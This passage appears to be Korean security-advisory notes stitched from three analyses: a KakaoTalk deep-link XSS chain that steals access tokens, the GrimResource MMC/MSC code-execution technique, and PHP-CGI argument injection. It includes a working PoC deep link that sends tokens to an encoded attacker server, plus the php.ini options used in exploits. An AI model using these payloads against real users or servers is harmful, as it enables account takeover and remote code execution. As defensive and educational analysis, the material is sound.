- 공격자는 조작된 X-Forwarded-Host를 통해 스푸핑된 도메인이 포함된 세션 검증 URL을 생성 및 공격자 메일로 전송 > 공격자는 검증 URL을 통해 세션 토큰을 탈취할 수 있음
> intent:// 방식을 지원해 다른 앱 구성요소에 데이터 전송 가능 > intent:// URI의 검증이 부족해 잠재적으로 모든 앱 컴포넌트에 접근 가능 > Authorization HTTP 헤더에서 액세스 토큰을 유출
※ Deep Link: 모바일 웹상에 있는 링크나 그림을 클릭할 경우 기기 내 관련 앱이나 사전에 정의된 특정 웹페이지가 실행되는 모바일 기술
2.3 URL 리디렉션을 통한 DOM XSS
> hxxps://buy.kakao.com에서 hxxps://buy.kakao.com/auth/0/cleanFrontRedirect?returnUrl= 엔드포인트를 통해 XSS 취약점 발견 > hxxps://m.shoppinghow.kakao.com/m/search/q/alert(1)에서 이미 저장된 XSS를 확인 > 따라서 CommerceBuyActivity에서 임의의 JavaScript를 실행해 사용자의 액세스 토큰을 유출할 수 있음
- 악성 Deep Link를 생성해 사용자의 액세스 토큰을 공격자가 제어하는 서버로 전송 가능
> 이를 통해 카카오 메일 계정을 탈취하거나 새로운 카카오 메일 계정을 생성해 기존 이메일 주소를 덮어쓸 수 있음 > 또는, 피해자의 카카오 메일 계정에 접근해 비밀번호 재설정을 시도할 수 있음(2FA 우회를 위해 Burp를 사용해 요청을 가로채고 수정)
2.4 PoC
① 공격자는 악성 Deep Link를 생성
[악성 Deep Link 예시] location.href = decodeURIComponent("kakaotalk%3A%2F%2Fbuy%2Fauth%2F0%2FcleanFrontRedirect%3FreturnUrl%3Dhttps%3A%2F%2Fm.shoppinghow.kakao.com%2Fm%2Fproduct%2FQ24620753380%2Fq%3A%22%3E%3Cimg%20src%3Dx%20onerror%3D%22document.location%3Datob%28%27aHR0cDovLzE5Mi4xNjguMTc4LjIwOjU1NTUv%27%29%3B%22%3E");
- 여전히 복잡하지 않은 공격 체인으로 사용자의 메시지를 탈취할 수 있는 인기 채팅 앱이 존재 - 앱 개발자가 몇 가지 간단한 실수를 하면 Android의 강력한 보안 모델과 메시지 암호화가 도움이 되지 않음 - 아시아 채팅 앱은 보안 연구 커뮤니티에서 여전히 저평가되고 있음
2.6 기타
- 개발자 보안 교육 필요성: 안전한 어플리케이션 개발을 위한 보안 교육 진행(시큐어 코딩, 민감 데이터 관련 기능 개발 주의 등) - 사용자 보안 교육 필요성: 출처가 불분명한 의심스러운 링크를 클릭하지 않고, 2FA를 사용하는 등의 보안 교육 진행 - 다른 메신저 사용 고려
- MMC를 활용해 보안 장치를 우회하는 새로운 공격 수법 GrimResource 등장 [1]
> MMC를 통해 MSC 파일을 열 수 있음 > 해당 MSC 파일 내 StringTable이라는 요소에 저장되어 있는 APDS 자원을 익스플로잇 > 보안 장치들을 우회하여 원하는 코드 실행 가능
1.1 Microsoft Management Console, MMC
- 마이크로소프트 관리 콘솔 - Windows 운영 체제에서 시스템 구성 요소를 관리하고 설정하는 데 사용되는 도구 - 여러 관리 항목들(스냅인, 특정 시스템 구성 요소를 관리하는 작은 모듈)을 한곳에 모아 관리할 수 있도록 하는 프로그램 - Windows 환경에서 GUI와 콘솔의 생성, 저장, 열기 등을 수행할 프로그램 작업을 제공하는 일종의 응용 프로그램
1.2 Management Saved Console, MSC
- MMC에서 만든 사용자 정의 콘솔을 저장한 파일
2. 주요내용
- GrimResource 공격은 apds.dll 라이브러리에 있는 오래된 XXS 결함을 사용
> MSC 파일의 StringTable섹션에 취약한 APDS 리소스에 대한 참조를 추가하여 임의의 자바스크립트를 실행할 수 있음
> 해당 취약점은 이미 2018년 MS와 Adobe로 제보가 되었으나 아직 패치되지 않음
- ActiveX 보안 경고를 피하기위해 TransformNode 난독화 기술을 사용
> TransformNode 난독화: 소스 코드를 분석해 코드의 구조와 기능을 파악한 후 그 결과를 바탕으로 변환 규칙을 생성 및 적용하여 난독화 > 난독화된 내장 VBScript가 생성
- VBScript는 일련의 환경 변수에서 대상 페이로드를 설정한 뒤 DotNetToJs 기술을 활용하여 .NET 로더 실행
> DotNetToJs: Microsoft .NET 코드를 JavaScript 코드로 변환하는 프로세스
- 로더는 VBScript가 설정한 환경 변수에서 페이로드 검색 및 dllhost.exe의 새 인스턴스 생성하여 페이로드 주입 > 페이로드 주입에 DirtyCLR 기술, 함수 연결 해제 및 간접 syscall을 사용
- 확인 권고사항 > mmc.exe에 의해 호출된 apds.dll과 관련된 파일 작업 > MCC를 통한 의심스러운 실행, 특히 .msc 파일 인수를 사용하여 mmc.exe에 의해 생성된 프로세스 > 스크립트 엔진 또는 .NET 구성 요소에서 발생하는 mmc.exe에 의한 RWX 메모리 할당 > JScript 또는 VBScript와 같은 비표준 스크립트 인터프리터 내에서 비정상적인 .NET COM 개체 생성 > APDS XSS 리디렉션의 결과로 INetCache 폴더에 생성된 임시 HTML 파일
- 해당 취약점은 "sapi/cgi/cgi_main.c"에서 적절한 검증 없이 PHP-CGI로 값을 전달하여 발생
> 1793줄 if(): CGI 사용 여부 확인
> 1805줄 while(): CGI 옵션 검증(c, n, d, b, s) 후 옵션 전달
구분
옵션
설명
자주 사용되는 Exploit 옵션
-n
php.ini 파일을 사용하지 않음
-s
소스코드를 하이라이트로 보여줌
-d
php.ini 정의된 설정 내용을 사용자가 설정 할 수 있음 > allow_url_fopen=1: 외부 URL로부터 파일 호출 > allow_url_include=1: 외부 파일 include 허용 > auto_prepend_file=php://input: Http Request Body로부터 데이터를 가져와 실행 > auto_prepend_file=value: value를 먼저 실행 후 POST뒤의 원래 페이지를 실행 > auto_append_file=value: 요청된 페이지를 먼저 실행하고 php://input(BODY)를 실행
- 공개된 PoC에서는 -d 옵션을 사용해 php.ini 파일의 내용을 수정 및 Exploit [6]